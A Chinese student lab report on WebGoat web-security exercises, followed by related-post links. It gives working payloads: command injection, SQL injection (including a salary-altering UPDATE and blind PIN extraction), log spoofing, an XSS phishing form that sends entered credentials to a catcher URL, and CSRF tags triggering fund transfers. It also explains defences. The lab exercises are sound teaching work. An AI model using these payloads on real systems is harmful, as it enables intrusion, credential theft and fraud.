2017-2018-2 20155224 『网络对抗技术』Exp9:Web安全基础
实验完成情况


- 共完成11题
准备工作
- 在浏览器输入
localhost:8080/WebGoat打开webgoat,左侧选择题目

- 右键选择
Inspect Element开始调试
Injection Flaws
1. Command Injection
- 右键开始调试,在页面下拉菜单的源代码中添加
"& netstat -an & ipconfig"

- 选中我们改动的那一项,点击
View查看结果


2. Numberic SQL Injection
- 将语句改为
SELECT * FROM weather_data WHERE station = 101 OR 1=1,并在station的value处做相应修改

- 可以查看各地天气了

3. Log Spoofing
在
username一栏输入:5224【学号】%0d%0aLogin Succeeded for username: admin查看结果

4. LAB:SQL Injection
更改密码栏maxlength为100.
选择用户
Neville (admin)登陆,在密码栏输入' or 1=1 --

5. Database Backdoors
- 输入101查看个人信息

- 输入简单语句
101; update employee set salary=5224进行攻击,这里没有做太多操作

6. Blind Numberic SQL Injection
- 利用类似于
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2000 );的语句缩小范围,最终确定pin值

Cross-Site Scripting(XSS)
1. Phishing with XSS
- 在Search栏输入表单代码
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 可以看到出现了相应表单,可以输入用户名密码

- 点击登陆,可以接收到输入的用户名和密码

2. Reflected XSS Attacks
- 在最后一个对话框输入
<script>alert('I am 5224')</script>【或其他警告】

- 弹出相应对话框

CSRF
1. Cross Site Request Forgery (CSRF)
- 在Message对话框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=288&menu=900&transferFunds=500" width="1" height="1">
【注意Screen和menu的值应为自己页面右侧窗口出的数值】

2. CSRF Prompt By-Pass
- 在Message对话框中输入
<img src="attack?Screen=226&menu=900&transferFunds=5000"
width="1" height="1">
<img src="attack?Screen=226&menu=900&transferFunds=confirm"
width="1" height="1">
基础问题回答
1. SQL注入攻击原理,如何防御
攻击原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入一般流程是:
寻找到SQL注入的位置
判断服务器类型和后台数据库类型
针对不通的服务器和数据库特点进行SQL注入攻击
- 防御措施:采用预编译语句,使用正则表达式过滤传入的参数,字符串过滤,jsp中调用该函数检查是否包函非法字符等。总体来说一定要注意规范代码,尽量减少有漏洞的地方。
2. XSS攻击的原理,如何防御
攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
防御措施:HttpOnly防止劫取Cookie;输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码等。
3. CSRF攻击原理,如何防御
攻击原理:CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情。
防御措施:验证HTTP Referer字段,在请求地址中添加token并验证,在HTTP头中自定义属性并验证等。
实验感想
有意思是真的有意思,我的kali全屏之后整个高斯模糊、我也是真的服气
2017-2018-2 20155224 『网络对抗技术』Exp9:Web安全基础的更多相关文章
- 2017-2018-2 20155224『网络对抗技术』Exp5:MSF基础应用
基础问题回答 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码传送到靶机中,我觉得老师上课举的火箭和卫星的例子非常形象,火箭只是 ...
- 2017-2018-2 20155303『网络对抗技术』Exp9:Web安全基础
2017-2018-2 『网络对抗技术』Exp9:Web安全基础 --------CONTENTS-------- 一.基础问题回答 1.SQL注入攻击原理,如何防御? 2.XSS攻击的原理,如何防御 ...
- 2017-2018-2 20155303『网络对抗技术』Exp5:MSF基础应用
2017-2018-2 20155303『网络对抗技术』Exp5:MSF基础应用 --------CONTENTS-------- 一.原理与实践说明 1.实践内容 2.预备知识 3.基础问题 二.实 ...
- 2017-2018-2 20155310『网络对抗技术』Exp5:MSF基础应用
2017-2018-2 20155310『网络对抗技术』Exp5:MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:由攻击者或渗透测试者利 ...
- # 2017-2018-2 20155319『网络对抗技术』Exp5:MSF基础应用
2017-2018-2 20155319『网络对抗技术』Exp5:MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:使用者利用漏洞进行攻击 ...
- 2017-2018-2 20155327『网络对抗技术』Exp5:MSF基础应用
2017-2018-2 20155327『网络对抗技术』Exp5:MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:使用者利用漏洞进行攻击 ...
- 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础
2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...
- 20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13
<网络对抗技术>Exp9 Web安全基础 Week13 一.实验目标与内容 1.实践内容 (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目.包括(SQL,XSS,CSR ...
- 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165315<网络对抗技术>Exp9 Web安全基础 目录 一.实验内容 二.实验步骤 1.Webgoat前期准备 2.SQL注入攻击 Command Inje ...
随机推荐
- linux下安装mysql(ubuntu0.16.04.1)
安装步骤: sudo netstat -tap | grep mysql 查看是否已安装 安装mysql:sudo apt-get install mysql-server mysql-client ...
- SLAM产品化的一些思考
这两年一直在做SLAM产品化的一些工作,有些感触,想和大家分享一下.很多想法只是个人浅见,不当之处还望大家指正. 我这两年分别做了AR眼镜和辅助驾驶方向的开发,说实话,挫折大于成果.SLAM产品化之难 ...
- Ajax如何设置cookie
普通的Ajax请求很遗憾不能返回服务器端设置的cookie 如何实现不刷新页面返回服务器设置的Cookie呢? 可以使用<script>或者<image>的src属性发起一个请 ...
- 【Python】爬取网站图片
import requests import bs4 import urllib.request import urllib import os hdr = {'User-Agent': 'Mozil ...
- LeetCode题解之Remove Nth Node From End of List
1.题目描述 2.问题分析 直接计算,操作. 3.代码 ListNode* removeNthFromEnd(ListNode* head, int n) { if (head == NULL) re ...
- 控制台输出 mybatis 中的sql语句
控制台输出 mybatis 中的sql语句 在 log4j.xml 文件中 增加如下配置 <!-- mybatis 输出的sql,DEBUG级别 --> <logger name=& ...
- C# 倒计时
c#中有一个叫做timespan的数据类型,可以这样构造: TimeSpan ts = , , ); TimeSpan(hour,minute,second); 然后拖进去一个timer,叫timer ...
- Java Collection集合方法
一.简单方法 package cn.itcast.day15; import java.util.ArrayList; import java.util.Arrays; import java.uti ...
- 使用 jekyll + github pages 搭建个人博客
1. 新建 github.io 项目 其实 github pages 有两个用途,大家可以在官方网页看到.其中一个是作为个人/组织的主页(每个账号只能有一个),另一个是作为 github 项目的项目主 ...
- Ecstore 默认图片压缩质量差的问题解决方法
修改app/image/lib/clip.php文件 }elseif( function_exists('imagecopyresampled')){ $quality = 80; $image_p ...
